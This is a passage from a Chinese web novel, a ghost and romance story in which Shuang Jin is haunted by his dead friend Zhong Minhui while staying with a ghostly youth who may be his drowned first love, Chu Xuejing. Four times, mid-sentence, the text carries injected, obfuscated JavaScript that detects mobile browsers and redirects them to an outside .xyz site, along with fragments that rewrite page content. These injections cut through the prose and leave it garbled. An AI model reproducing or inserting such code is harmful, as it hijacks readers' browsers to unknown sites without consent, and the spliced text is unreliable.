“所以他合该去吃,吃了才对。”少年笑,“这是好东西啊,吃了就吃了,吃了彼此都开心,吃了又不会死是不是,死了……就是命不好。” 双锦深吸一口气,“你疯了……” 15.身后1 楚雪镜很通情达理,很讲道理的人。 双锦一直觉得他是个理性大于感性的人,就比如双锦爱看爱情片,且很喜欢看那种山盟海誓至死不渝的情节,他就喜欢这种轰轰烈烈或者肝肠寸断的剧情刺激,看完后回味一下之前的剧情会觉得很爽。 但楚雪镜对这些只是平平,他从不会主动去看,甚至不会去看爱情片,只有陪双锦看电视的时候会跟着看一点,看完之后也不会做出评价。 他好像对感情很洒脱。 双锦一直认为他是那种分手后也可以和前任做朋友甚至同事的人,冷静自持四个字在他身上淋漓尽致。 这也是他喜欢楚雪镜的原因,某些方便他们性格相合。 所以如果是他一定不会说这种极端的话,如果是他也不会把两个人搞得这么狼狈。 相恋一场,还是最悸动最罗曼蒂克的初恋,两人甚至都没给过对方什么承诺。 哦,不对,有过。 双锦十九岁生日的夜晚,两个人一起坐在海边柔软的沙子上,沁凉的海风吹在身上,将双锦的T恤和短裤吹得鼓鼓的,像小斗篷和灯笼裤,让他手忙脚乱地收拾自己。 也不记得是哪个话题让他们聊到誓言上了,或许是某个感人肺腑的电影情节,他难得地对双锦说起情话。 又一阵裹挟着轮船汽笛声的海风袭来时,他说:“小锦,希望你永远像今天一样爱我,希望爱情像大海一样永恒。” 他难得的情话让双锦一愣,说这句话时鬓边的碎发被风吹到了眼睛上,他被迫眯起眼睛,看起来弯弯的,像在笑,眼瞳在夜空下像点缀着碎星。 双锦在心中诚恳地复述了一遍这句话。 那之后不久楚雪镜就葬身大海了。 他死后很久,双锦时而还会回想起那天,他心里疙疙瘩瘩的,不知道楚雪镜这算不算一语成谶。 所以双锦不习惯听情话,甚至有些怕听到,而这种激进的情感就更是让他紧张。 “楚雪镜不会这样的,”他说,“他如果知道我骗他一定会失望。” 或许还会不喜欢自己了,毕竟他付出了很多,而得到的却只是谎话。 他算爱情的骗子吗? 但少年却并不认同他的话,“人是会变得,更何况人和人之间容易有误会。” 误会什么? 误会楚雪镜?还是他对楚雪镜认识?难道是他们之间的感情? 不管是什么,双锦一律否认,“才没有。” 少年也并不执着于和双锦争辩,说完这句话后他将剩下的半盆水倒在身上,然后甩了甩头发上的水珠,对双锦说:“我会把干净的衣服放在床上,然后我要出去一下,好好在家等我。” “你要去哪?”双锦拉住他。 少年一顿,垂眸看了眼抓在自己小臂上的手,“不去哪,”他笑着说,“不想被你嫌弃做饭难吃,去弄点你会喜欢的。” 双锦想也没想就拒绝了,“我不要,我想尽快回家。” 这话说得有些直白,说完这话后他就在想如果对方继续跟他拉扯该怎么办? 但是少年竟然没说什么,只是深深看了他一眼问了句为什么,“我们一起不开心吗?” “开心,谢谢你,”双锦承认,他已经很久没有像这样什么都不去想,不管不顾地放纵过自己了,虽然很狼狈也很短暂,“但是我必须要回去。” “是因为你的朋友吗?” 少年这么问,双锦没有反驳。 他自己清楚,当然是有这两人的原因,但更多的还是不够信任。 喜欢是一回事,信任又是另外一回事,更何况…… 钟敏卉和古含林的死让他如鲠在喉,他们都能找到死亡的原因,但是双锦不相信世界上有这么凑巧的事。 钟敏卉临死之前确实给双锦打过电话,求他去看自己。 但由于当时两人因为一些事几近反目,双锦最终没有去看他。 对于钟敏卉的死,他挺意外的,因为他死得实在太快,但也不算非常意外,毕竟钟敏卉身上有好几种重病,早就已经危在旦夕。 而古含林的死却是狠狠震愕到了他,对于意外事故这个理由他始终抱有怀疑的态度。 古含林说楚雪镜想要杀他,双锦同样并不相信。 但是他很想弄清楚这件事。 原因很简单,虽然喜欢楚雪镜,但是他还活着。 所以对于少年的问题,他模棱两可地说:“我想去参加他们的葬礼。” 说完他又补充道:“我和他们关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681801|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系还不错,即便是我……前男友也有同意的。” “那好,”少年半垂着眼睑挑了下眉,“等我回来。” 他说完后去浴室冲洗了一下,很快就离开了。 双锦在他走后也去洗了个澡,他认真洗了许久,生怕泥土中有什么小虫子爬在自己的皮肤上偷偷咬自己,确认自己干净了之后才走出浴室换上了房子主人给准备的新衣物。 衣物上没有什么花哨的图案,款式也很基础,是双锦常穿的那种长裤和长袖衫,他将上衣提着两肩拎起来大体看了眼衣服的大小,毫不意外地发现这是自己的尺码。 少年不知道去了哪里,时间过去将近一个小时也没见他回来。 门前的自行车不见了,双锦不能确定是不是被主人骑走了。 从房子里出来,他再次尝试在四周走动,一个原因是他想看看周围的田园风景,还有一个原因是他在试图找到来时的路。 是怎么走的呢?从这里一直到村里,再从村里到医院,这是来时的路也是可以离开的路。 趁对方还没回来,他独自沿着记忆中来时的路线向反方向走。 好像还是记得比较清楚的,双锦沿着乡野间宽敞却不太平整的土路走了不知道多久,隐约可以看到一些房子的红瓦屋顶,应该是村里了。 果然是这样走。 确认是这条路线后,他又回头看向梨园的方向。 他想看看从这里到梨园大约有多远,但就是这一回头,他忽然发现远处有个人向自己招手。 是一个身量不高,体型又偏瘦的人,看身形像是个单薄的成年人,对方一会儿向他招手,一会儿又将手放在口边做出呼喊的样子,似乎是着急地想表达什么意思,但是距离有些远,双锦听不清,也看不清他的口型。 是和他说话吗? 走了这么久,双锦没发现还有其他人,那应该就是对自己说话了。 于是他定睛看去,过了一会儿他忽然发现对方好像不是在招手,而是在指向他,那意思好像是让他看的身后。 他一路走来,没发现前路有什么,于是在确认这个人没有靠近自己的趋势,且两人距离很远,对方一时无法靠近自己后,他犹豫着挪出去一步。 向侧后方转过头去…… 16.身后2 身后有个人。 一个乍一看很平常的人。 个子不高,头发略长,发梢大约垂至下颌,是个看起来二十来岁的青年男性,但此人比双锦还要瘦很多,几乎是形销骨立,瘦骨嶙峋,肩头的衣物垂坠下来,清晰地勾勒出骨骼的形状。 双锦觉出几分熟悉感,但是一时想不起是谁,因为对方背对着他,看不到脸。 是谁呢? 他想不起来,但生物对于危机本能的警觉反应让他觉得不太好。 而且很奇怪,这个人身上穿的衣服像是睡衣,深黑色的衣物松松垮垮地垂着,将整副瘦削的身体覆盖在其中,乍一看没有什么款式可言,裤子甚至长到垂地,但细看之后却又发现衣物的布料上似乎有绣纹,暗绣的莲花暗八仙。 双锦的视线在接触到对方的袖口时忽然后退了一步。 直通的袖口松松地垂着,扣子是布包扣,这些都不算什么,但缝装扣子的位置上裸露着的很多线头仿佛一根根针般刺眼,视线触及的一瞬间双锦的心猛地一沉。 死人的衣服要线头外露,不能打结,象征着无牵无挂,这是双锦的母亲离世时继父告诉他的。 ……这恐怕不是睡衣。 他立刻向反方向跑去! 之前提醒他的男人还在那里,对方看他跑过来也立刻转过身跑去。 他还在试图和双锦说什么,一边跑一边将一只手掌微弯成弧放在口边,嘴巴一张一合。 但是太远了,双锦听不见,只能模模糊糊地听到一点人声,无法听清内容。 如果能更近一些就好了,但是他跑对方也在跑,一时无法靠近。 似乎察觉到了,对方不再试图向他说话,而是蹦跳着挥动手臂,但似乎没有什么特殊含义,只是想让双锦跑得快点。 此时大约是上午十点也就是巳时,虽然温度还未升起,但盛夏的太阳已经高悬,按理来说是阳气灼热,阴邪避散的时间,怎么会这样? 双锦身体单薄无法长时间剧烈运动,他本就有低血糖的毛病再加上空着肚子,此时已经感到眩晕。 但身后的东西还跟着。 他背对着双锦迈动双腿,猛地一看是一个向前走的姿势,而实则是用极快的速度往后退! 不知是因为恐惧还是剧烈奔跑,心脏在胸腔狂跳,双锦扶着路边的树剧烈喘息,眼前阵阵发黑。 “你是谁?” 这样下去不是办法,如果只是跑他跑不过对方,该怎么办? 他停下逃跑之后,黑衣男人也不再快速后退,但他仍然在向双锦靠近,每当双锦有逃的趋势,哪怕只是后退一步,他就会立刻再次加快脚步。 这是什么?为什么会缠上自己? 他试图交流,但没有得到任何回应。 双锦闭了闭眼。 脑海中闪过一个人。 “喂!快跑!” 恰在此时有人向他喊话。 双锦一愣,看到是之前提醒他的人在喊他。 对方竟然逆着方向来到他的不远处,焦急地叫他快逃。 双锦深吸了一口气,强迫自己再次跑起来。 而黑衣男人也迅速跟了上来。 他是用走的姿态,但是脚步非常快,行动间裤腿起起落落露出来的脚上甚至没有鞋子。 白日撞鬼,必然是厉鬼,可是为什么? 他的背影已经瘦的几乎没个人形,但仍然让双锦很熟悉,这是谁呢? 很恨自己的人吗?所以即便死了也不肯放过他。 剧烈的心跳声几乎震得双锦耳鸣,世界天旋地转,他已经无法确定自己能不能看清东西了,甚至不确定自己是不是已经昏迷,这一切只是昏迷后的梦境,冷汗从而后流经脖子,空荡荡的肠胃不断翻绞着,双锦即将倒下之时忽然有一只手拉住他。 “跟我走!” 是那个提醒双锦的人,他竟然不知道什么时候来到了双锦身边,将要倒下的双锦拉起来,拖拽着他继续向前跑。 双锦也不确定自己跑了还是没跑,他的腿好像已经没有知觉了,但是眼前的景象却在不断变幻。 “去梨园……”恍惚间意识到这是一条不熟悉的路径,双锦喘息着张口。 “好。”对方答应得很痛快,“不要松开我的手。” 他这样说,双锦却眼睁睁看到梨园那片茂密的树冠越来越远。 不知道哪里来的力气,他猛地推开对方。 惯力让他在地上摔了一下,膝盖瞬间传来剧痛。 痛感流经神经,钻入脑髓,再次爬起身时眼中的世界好像在一瞬间变得清明,耳道中嗡然的耳鸣也潮水般褪去。 “锦……” 那人再次来到他的身边,两只手环住他的腰,将他扶起来,然后蓦然将他一推。 双锦被迫再次倒下,然而这一次关节与地面接触却发出不同于泥土的清亮咚咚两声。 大脑还未从疼痛中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687375|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,手指下意识地摸了下,是木板。 下一瞬,他挣扎着爬起来。 最先进入眼中的不是人体的部分,而是一片土,一片新翻动过的黄土,一个小小的土包,接着才是一双隐隐约约被遮掩在长裤底下的足跟,绣满莲花云纹的肥大衣,再往上是惨白的脖颈,深深低着的头。 哪里有什么试图帮助他的陌生人,分明还是那个黑衣男人。 对方背对着他蹲在一座坟包上,向后高高举起手,苍瘦如爪的手掌大开着,正对着双锦。 而自己支撑着的木板…… 双锦怔怔低头。 怪不得身体的触感和泥土不同,他陷入的不是土坑,而是一个由木板拼接而成的细长方形区域,大约一个人躺下后大小,位于土包之后。 “双……锦……”他在唤他,每个字都像从漏风的胸膛里硬挤出来的,带着尸体腐烂湿冷的气味,和虽死未解的不甘。 “放开我——” 怔神的片刻,那双白骨一样的苍白泛紫的手忽然按上他的肩膀,一霎那,双锦第一次感觉到毛骨悚然的感觉,全身所有的温度都退却了,他拼命想挣脱出去,却被不容抗拒地往棺椁中按去…… * “怎么了?” 忽然有人轻声说话,语调轻轻的,却好像有势不可挡的力量能轻松撕破层层噩梦,将一切危险与不详击散得七零八碎。 “不是让你好好在家等我吗?” 那人越来越近,在他身边长叹了口气,“怎么不听话乱跑呢?” 他将软倒在地上的人扶起来,用温柔却有力量感的手掌上下抚摸轻拍怀中人单薄的脊背,口中细声安慰,“别伤心了,我们回家好吗?” 怀里的人却在这时用不住战栗的手攀抱住他的手臂,一张脸也深深埋进他的胸口,声音哑哑的,尾音带着明显的颤抖,“我看到了钟……他恨我……” 但没说完的话被对方为自己擦拭脸颊的动作打断。 双锦怔怔地抬起头来,望进一双柔润亲和的眼眸。 对方的手冰凉干爽,轻轻蹭在湿漉漉的脸上,像在安慰,“你低血糖晕倒做了噩梦,别胡思乱想了,看这是哪里?” 双锦被那只手捧着下颌,像拖小孩或者小动物的脑袋一样抬起头来。 阳光很好,脚下是院子里干净平整的水泥地,不远处躺着一根还在流水的水管,一个被随意扔在一旁的水盆。 梨园房子的门口。 17.吊桥效应 双锦的状态很差。 在发现自己身处梨园的院子时,他全身冒出了一层冷汗。 不会是噩梦的,他的肩膀现在还残留着被大力抓握之后的痛感,双腿也酸软疼痛。 不可能是噩梦的,也不是幻觉。 真的有厉鬼。 “不要怕,先吃口东西,你太虚弱了。” 双锦脸色苍白地靠在床上,他半垂着头,睫毛因为主人的微微战栗而抖动,食物送过来时他扭头避开了送到口边的汤匙。 那是一口还冒着热气的蛋羹,蛋蒸得很滑很嫩,有香喷喷的香油味,这是他少数喜欢的食物,但是现在他没有胃口。 “是敏卉……” 他死死抓住了身前人的手,虽然脸上没什么表情,但是手臂却将身体的颤抖传递给身边人,像是溺水的人抓住缰绳,“他瘦得厉害,已经不像他了,但我还是认出来了。” 钟敏卉和双锦相识最少有十年了,他和双锦同级,但实际上年龄比双锦大两岁,因为生病休学留过两次级。 少年时钟敏卉因为精神问题无法控制食欲,导致身体臃肿,十分肥胖,后来随着精神状态好转,他的进食障碍不治而愈,二十多岁时他身材匀称,娇憨可爱,拥有白皙无暇的漂亮皮肤,像一颗珍珠一样夺目。 可后来珍珠蒙尘,光华淡去。 钟敏卉的姐姐去世后他的身体急剧变差,年仅二十七岁就去世了。 “他恨我,”双锦说着沉默了一下,“他希望我陪他一起死。” 如果楚雪镜和古含林是鬼,那钟敏卉一定是厉鬼。 他出现在阳气正盛的巳时,背对着双锦蹲在坟包上,高高举起枯槁的利爪凶狠地将他按进棺椁,要他陪自己一起死,这显然不是普通的鬼。 “我不知道怎么逃出来的,是你救了我吗……” 身前人没说什么,他将手中的食物放到床边,然后踱步回到他身前伸出一臂将他环抱起来,那个怀抱并不温暖却很结实可靠,头顶的声音略显凝肃:“钟敏卉明天下葬。” 一句话让双锦顿住。 “他执意要回家,半夜趁护工去倒水想独自离开病房,结果摔倒在病房门前心脏病发去世的。” 钟敏卉为什么要回家? 他有什么放不下的东西? 据双锦所知,钟敏卉从小和姐姐一起长大,大姐是他在世上唯一的亲人,姐姐去世后他卖掉了城里的房子回乡下休养,家中只有一个远方的亲戚被他雇佣为家中的阿姨,这世界上有什么让他不甘心非要去见一面的事物或是人? “双……锦……” 脑海中又浮现出那句阴冷狠戾却又模糊不清的低语。 钟敏卉恨双锦。 他不肯原谅他,即便死了也要带上他。 像是看出他的心中所想,身边人不长不短地叹了口气,“所以我让你乖一点不要乱走。” * “你还在吗?” 夜半时,床上的人轻声说话,声音低低的,是与生俱来的轻柔,不熟悉的人会以为这是一句关切,而熟悉他的人在静默一息后缓缓睁开眼睛。 目光凝聚在半搭在床沿的手臂上。 那只瘦削修长的手自然地垂着,手背和手心湮没在床沿的黑暗中,手腕连着小臂却白如流膏,像一段月弧,明丽腻白,又像心照不宣的邀请。 卧在床边的人撩起眼睫,眼底浑然寂静,他心领神会地抬起手…… “怎么了?” 白玉箸似的手指微微用力夹住钻入指缝中另一个人的手指,手的主人说:“我看不到你了,你上来。” 说完他侧过头,看着指缝间阴冷的手指蛇一般沿着他的手背一点点向上爬,最终来到他的小臂,攥住。 不开灯的室内很黑,床侧的黑如深水陈潭,在他说完这句话后沉水似的黑暗中漂浮出一张荣华正好的青春面孔,面如皓玉,唇红滟滟,阴丽森艳。 似乎很轻地笑了一声,很淡,像是错觉。 近得几乎胸膛相贴时,环抱住他的人问他,“他为什么恨你?” 双锦垂下眼睛,将额头抵在身侧人的颈侧,“他怪我没有去看他,所以他恨我。” “是吗……”少年抬手抚去粘在他侧脸的发丝,忽然语气平淡地说起另一个人说过的话。 “‘我这一生除了姐姐,只有双锦对我好’ ‘他真温柔,我剩下的人生要像他一样’” “我喜欢他。” 说这些话时他的语气淡淡的,没什么同情,并不认可,但也没有嘲笑和否定。 室内有一瞬间的安静。 良久后,说话的人叹了口气,“既然知道,为什么明知他要死了也不肯去看他一眼?” 他问完这话,怀里的人倏然抬起头来,他脸上的温弱尽数散去,五官的秀致温霭遮掩不住眼底死水似的漠然。 “因为我们已经不再是朋友,不再是朋友我为什么要去看他?他喜欢我是他的事,我什么时候让他喜欢过我?” 被质问的人静静看着他,完全不为他忽然表现出来的冷漠无情感到惊讶。 双锦推开他,从床上爬起身。 他的皮肤真的很白,像在冰水里过了一遍的荔枝,冷白似冰,全身的骨骼和皮肉都单薄得不堪一折,腰背柔韧纤细,像一把刀。 一把潋滟又锋利无情的窄刀。 “我什么时候对他好过?”他微微歪头,鬓发顺着乌黑的眼垂下,面上是对被质问显露出来的不悦,“只是他渴望我成为他的朋友,我没有拒绝而已,人与人之间说几句好听的话只是社交的礼仪,更何况是朋友,但是他却要误会我,这是他不懂道理不讲人情,难道我应该每天冷言冷语地对他才对吗?” “对,我知道他误会了却没有说清楚,但我为什么要去说清,稍有不慎弄得彼此都很尴尬的事我不想做有错吗?他恨我之前为什么不问问自己怎么就这么糊涂?” “他做了让我生气的事,结束了就是结束了,我为什么要去看他?他死了是因为他的心脏病,难道是我杀的他吗?难道我希望他死吗?” 双锦说:“我根本就不在乎他是死是活。” “说得好,”少年维持着躺在床上的姿势,曲起一臂半支着脸,低笑着点了下头,“但我很好奇……你对他完全没有过情谊吗?” 双锦没直说有没有,他抿了抿唇,雪白的齿从浅色的唇划过,让那双薄唇泛起几丝温热的红,但一瞬即逝,微湿的双唇一碰,“这世界上有几个朋友之间是真心实意的?即便是夫妻情人尚且貌合神离,难道我真的有错吗?” “你没有错,”少年答得很快,他用另一只手臂从双锦的腋下穿过,反握住他的肩头,将人拉回自己身边,“这世界上的人各有所有不同,就像钟敏卉自卑缺爱,古含林痴狂愚笨,这一切发自本性,你也一样。” 双锦并不为这个答案满意,他起身跨坐在少年的腰上,双手撑在他的脸侧,俯身和他对视,“我不准你这么说我,他们可以,你不可以……” 有一双手爬上他的背,由上而下,沿着身体的走势一路蜿蜒,最终状似随意地搭在后腰凹陷最深处。 指尖明明没有乱动,隔着衣物传递来的触感也很轻,却有不容忽视的强烈存在感,良久,那双手忽而如利爪铁箍,狠狠攥住他的侧腰,猛一用力。 “为什么?” 双锦顺势俯下身,两人胸膛相贴,唇鼻相触,“……你和他们不一样。” “……我喜欢你,我只喜欢你。” “雪镜,你要保护我。” 少年的目光在他的脸上逡巡,抬手将他的头按向自己。 微凉的唇一路向下,划过下颌和皮肤薄而透的脖颈,带起上方的人几不可察的战栗和喘息,“我也喜欢你,小锦。” “好好待在我身边,他怕我。” * 这之后的几天,双锦果然再也没有看到钟敏卉。 他寸步不离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696186|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚雪镜,即便是夜晚。 但楚雪镜却每过几天就会消失一段时间,他每次都以外出买食物为理由,但这是个借口,双方心照不宣。 双锦不知道他去做什么,每次他都会在大概一个小时之后带着食物回来,离开的期间反锁房门叮嘱双锦不要出房子。 双锦很听话,独自一人的时候他大多会静静躺在床上什么都不做。 他睡不着,也不想睡,但这一次却意外地进入了梦境中。 “双锦。” 双锦没有应答,他很清楚自己在做梦,因为他身处一个这辈子无法再回去的地方——高中时培训学校的雕塑练习室。 练习室最前方放着一些画架,上面绘制着思考时胡乱画上去的人体结构分析,旁边是雕刻刀和凿子之类的工具,风从练习室宽大的老式木架窗吹进来,扬起白而透的纱帘,白纱在光下变得透明,像转瞬即逝的柔光,如梦似幻。 被呼唤时他的上还拿着蜂蜡,身前的头塑只做了一半,隐约看出是个少年男性的模样。 这是钟敏卉,他答应要送给钟敏卉的生日礼物。 这个时候他只有十八岁,每天在培训学校练习,已经很久没有理钟敏卉了,为了维系仅有的朋友,他答应了钟敏卉的请求。 双锦将手里的蜂蜡放下,看向紧闭的练习室门。 门外有人和他说话,“是我啊,我是小卉啊双锦。” 双锦仍然没有说话,他不知道这是日有所思夜有所梦还是厉鬼入梦。 “双锦……你怎么不说话啊?你不信我了吗?” 门外的人自言自语,说话时似有哭腔。 “双锦,是我把古含林叫出门的,他那天下午去你家时就已经死了,我怕他伤害你……” 双锦薄薄的眼睑下的眼珠动了下,但仍然没有回话的意思。 “求求你了,你理一下我好不好?求求你了双锦,你不来看我我根本就不怪你的。” “对不起,我那天吓到你了对不对,我不想吓唬你的,但是我白天的时候就控制不了自己,不过没关系,我已经下葬了,下葬了就是入土为安,你不用怕我了,我不会变成很坏的那种鬼的……” “双锦,你在听对不对?我知道你虽然不理我,但其实心里有我,不然你不会只和我做朋友的,双锦,我太着急去见你了,所以不小心吓到了你,你别生我的气了。” “我只是太着急了,我想救去你,结果不小心搞砸了,怎么办啊我这么笨,我不是他的对手。” 他的话越说越多,精神也逐渐异常,焦虑感穿透厚重的木门传进室内,“当年我不应该告诉你见到楚雪镜的方法,双锦啊怎么办啊,我们好像把不得了的东西弄来了,我好怕,我好像把你害了我该怎么办我该怎么办?!” 他不断重复着,话中的焦虑和恐惧如有实质,具有强烈的感染性,让人听到的人也不禁心中一沉,极为不适。 双锦向后退了一步,心里估计着楚雪镜回来的时间。 “你快跑吧双锦,虽然不一定能跑出去,但是你不能再呆在他的身边了。” “你为什么不说话啊双锦,你……是不是喜欢他啊?你不要喜欢他啊,你喜欢的是雪镜,他是厉鬼,他不是雪镜。” “你喜欢他只是那个……对!只是吊桥效应,你知道吊桥效应吗?在恐惧和孤独中更容易爱上唯一的陪伴者,他利用了我,我呜呜——” 双锦脸上没有表情,紧握成拳的双手却用力到颤抖。 门外呜咽的哭泣声绵长悲苦,又悔又恨。 “我说得都是真的,他长得和雪镜不一样对不对?那个身体是我给自己准备的,我用了很多心思才做得那么漂亮,他不能在阳间久待就抢走了我的东西,他还要让我彻底消失,我好怕我不敢去找你了。” “双锦,双锦——” “你相信我好不好,求求你了,如果你觉得我骗你…… “我教你破坏掉那个身体,你就自由了。” 18.信任 信任别人并不是一件简单的事,它取决于一方对另一方的认可程度,但是这件事又不是完全客观的。 就比如双锦一度很讨厌古含林,所以即便他只是说地球是圆的,双锦都要反驳两句,古含林一度十分费解,他努力说明地球差不多是圆的,就算它有些椭圆自己的说法也不能算错,但仍然得不到双锦的认可。 他不明白地球圆不圆根本不重要,重要的是双锦讨厌他,而相同的话如果由楚雪镜说,那他一定不会觉得有任何问题。 那么双锦认可钟敏卉吗? 他对钟敏卉是否有情谊实在是不好说,但他其实是认可钟敏卉这个人的。 和古含林这个对他来说像狗皮膏药一样挣脱不开的人不同,在关系闹掰之前,钟敏卉在他心中一直属于自己人的行列,无论他是否喜欢钟敏卉。 “双锦,你是相信我的对不对?” “我从来没害过你……” 门板传来一声很轻微的闷声,像是门外的人轻轻靠在了上面。 说话的人声音轻轻的,喃喃自语的,像沉浸在自己的世界中,“那时候古含林让人欺负你,他们半夜把你扔在偏远的海边,你没有手机回不了家是我去找你的,他把我打得满脸都是血的时候我看到你哭了,我知道你很心疼我,你只是生我的气……” “我乱吃东西,不爱念书,自暴自弃,别人都说我不男不女像个丑婆,只有你和我姐安慰我,你说‘女性坚毅正直,像女孩没什么不好,但无论做男做女都应该先把自己做好’,我当时低着头不看你,什么话也没说,但实际上我回家哭了好久。” “我知道我做了很不好的事让你再也不想见我了,但是我再坏也没害过你,既使你不喜欢我,我也喜欢你。” “可是我太弱小了,我活着保护不了你,死了也是,但我希望你相信我,保护好自己。” “你相信我啊……” “双锦……” 双锦从梦中醒来了。 睁开眼时落入眼帘的是梨园小屋内的景象,室内是浅色调的装修风格,布置简单整洁,卧室的墙上悬挂着几幅水墨花草图,床的位置紧靠窗户,阳光从窗外透进来,落了他满身,轻不足道却很温暖。 双锦看了眼墙上的挂钟,时间显示的是上午十一点整,楚雪镜似乎还没有回来。 他从床上下来,在室内漫无目的地走动,阳光从窗户和房门上方的玻璃涌入室内,亦步亦趋地跟着他。 厨房里有房主人出门时给他留的食物,双锦挑挑拣拣却一样也没有入口,不是不饿,也不是不好吃,而是没有胃口,脑子里有好多乱糟糟的东西扰得他食不下咽。 在厨房呆立了半天,不知道是心情的缘故还是血糖偏低,双锦忽然好想吃甜的,这个想法出现后,他在厨房翻找了一会儿,几分钟后在橱柜中发现了几包完好的糖果和一些果仁饼干,都是双锦爱吃的。 他挑选了一包榛子糖,拆开包装想吃几个。 可是这个夏季太热,糖已经融化了。 海边的城市很少有酷暑,记忆中这么热的天少有。 好像高考完的那个盛夏。 太阳狠辣得像在熔炉中淬炼了一遍,灼人的热从天而降又从地面升腾,将树叶和花草都晒得蜷曲,只有海边的风始终是清凉的。 彼时双锦还非常内向,他和楚雪镜刚确认关系,对他不是很熟悉,说话时总是避开那双细致美丽的眼眸,神情举止肉眼可见的紧张。 他怕楚雪镜表里不一,会不好相处。 这个担忧不是凭空出现的,而是双锦的意外发现。 某个下午双锦发现楚雪镜在和别人说话,不知道说起什么,他似乎不高兴了,淡淡地垂下睫毛,目光下敛,锋锐的威慑感让对话的人忽然闭嘴,也让远远偷看他的双锦呼吸一滞。 他担心说错什么也会被他用那种眼神俯视。 但没过几日,这种担忧就被强行敲散了。 楚雪镜确实表里不一,这个人好啰嗦啊。 只是约双锦去海边吹风约会这样一件小事,他几乎每天都要提醒双锦不要忘记。 双锦被他念叨得头都大了,几乎对方一张嘴就知道他要说什么,那种怀疑对方冷漠疏离不好接触的担忧瞬间就消散了,他忍不住责怪了一句:“雪镜你好啰嗦啊,像我姥姥一样呐。” 说完就得到了一个颇为幽怨委屈的眼神。 双锦立刻道歉了,楚雪镜笑着说没关系他一点都不介意。 但是之后的好几天,他不仅没收敛还不断翻旧账,于是双锦不仅要听他唠叨,还要听他唠叨完后拿腔捏调的“我好啰嗦啊,像小锦的姥姥一样呐”,他学双锦说话的语气学得特别像,弄得双锦尴尬又头大,只好红着脸又哄又安慰的。 如此一日日过去,终于熬到了约会的日子。 双锦一大早就出门了,生怕耽误了零点零一秒再换来楚雪镜数天的幽怨。 只是他没想到,他没迟到,楚雪镜竟然迟到了。 他带着礼物在约定好的海边餐厅等了一个多小时不见人影,打电话发短信也没有回信。 楚雪镜竟然爽约了。 耍我吗? 双锦很生气,生气之余更多的是伤心,他将精心准备的礼物拿起来看了又看。 那是一块当时很流行的腕表,腕表中有万花筒,贴上去看能看到两人的照片和名字的缩写,虽然现在再看过时又土味了,但是当时他觉得很浪漫,用攒了很久的钱定制的,满怀期待地想送给楚雪镜。 再一次发短信没有回信后,他觉得恨恨的,必须听到解释才会原谅。 于是他失落地打车去楚雪镜家,不忘把细心准备的礼物好好抱在怀里。 那是他第一次去楚雪镜家,在此之前楚雪镜邀请过好几次,但是双锦怕见到对方父母,不好意思去。 这一次因为生气,反而主动去了。 楚雪镜家条件很好,住在新城区最好的地段,家里住的是当时很流行的湖边三层别墅,双锦和门卫解释了很久才在对方审视的目光中被放进来,他按照楚雪镜给的地址在偌大的别墅区找到212栋。 楚家的房门没关,微微敞开一条细缝,就在双锦犹豫之时忽然在不远处发现了一辆有些熟悉的摩托。 某个品牌十分昂贵的新款车型,车型庞大造型充斥着野性像一头桀骜的猎豹,颜色是荧光紫混着曜石黑,有一种双锦很不喜欢的夸张和叫嚣感。 这辆车怎么会在这里?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709537|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是古含林的吗? 古含林在楚雪镜家?他来做什么? 本来还在担心碰上对方父母该怎么解释的人连敲门都忘记了,双锦推开房门走了进去。 室内采光很好,十分明亮,一楼是客厅,装修风格简约,一入门正对着不知哪位画家的油画作品,家具和陈列的物品造型简单又精巧,透着含而不宣的优越质感,双锦只看了一眼没有多看。 他站在门口没有往里走,室内没有人,他在思考怎么和空荡荡的房子打招呼,以便叫房子的主人出来。 双锦不习惯大声喊叫,正在有些苦恼着要不要出去按个门铃,却忽然听到一个男性的怒骂声,这一声又恨又怒,几乎瞬间就能联想到说话的人疾言厉色的模样。 接着楼梯传来脚步声,好像有人下楼了,脚步声凌乱没有规律,可见不是一个人。 